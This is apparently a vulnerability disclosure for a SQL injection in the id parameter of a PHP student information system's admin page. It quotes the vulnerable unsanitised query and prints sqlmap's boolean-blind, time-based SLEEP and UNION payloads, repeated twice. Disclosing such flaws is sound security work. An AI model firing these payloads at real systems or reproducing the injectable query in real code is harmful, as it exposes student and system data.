SQL injection vulnerability exists in id parameter of /admin/students/manage_academic.php file of Simple Student Information System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

```php
<?php
require_once('../../config.php');
if(isset($_GET['id'])){
    $qry = $conn->query("SELECT * FROM `academic_history` where id = '{$_GET['id']}'");
    if($qry->num_rows > 0){
        $res = $qry->fetch_array();
        foreach($res as $k => $v){
            if(!is_numeric($k))
            $$k = $v;
        }
    }else{
        echo "<center><small class='text-muted'>Unkown Academic ID.</small></center>";
        exit;
    }
}
?>
```

```
sqlmap identified the following injection point(s) with a total of 429 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: course_id=1&end_status=0&id=1' AND 7717=7717 AND 'QchC'='QchC&school_year=1967&semester=1&status=3&student_id=1&year=196
7

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: course_id=1&end_status=0&id=1' AND (SELECT 2339 FROM (SELECT(SLEEP(5)))QuxY) AND 'Heax'='Heax&school_year=1967&semester=
1&status=3&student_id=1&year=1967

    Type: UNION query
    Title: Generic UNION query (NULL) - 10 columns
    Payload: course_id=1&end_status=0&id=-3921' UNION ALL SELECT CONCAT(0x7162627671,0x5a5647734967736246635655665557765a4f674a665870
6b58794c797a4769624c664d4971597a43,0x71717a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&school_year=1967&semester=1&status=
3&student_id=1&year=1967
---
```

“

Parameter: id (GET)

Type: boolean-based blind

Title: AND boolean-based blind - WHERE or HAVING clause

Payload: course_id=1&end_status=0&id=1' AND 7717=7717 AND 'QchC'='QchC&school_year=1967&semester=1&status=3&student_id=1&year=1967

Type: time-based blind

Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)

Payload: course_id=1&end_status=0&id=1' AND (SELECT 2339 FROM (SELECT(SLEEP(5)))QuxY) AND 'Heax'='Heax&school_year=1967&semester=1&status=3&student_id=1&year=1967

Type: UNION query

Title: Generic UNION query (NULL) - 10 columns

Payload: course_id=1&end_status=0&id=-3921' UNION ALL SELECT CONCAT(0x7162627671,0x5a5647734967736246635655665557765a4f674a6658706b58794c797a4769624c664d4971597a43,0x71717a6271),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -&school_year=1967&semester=1&status=3&student_id=1&year=1967

“

Source Download：
https://www.campcodes.com/projects/php/student-information-system-in-php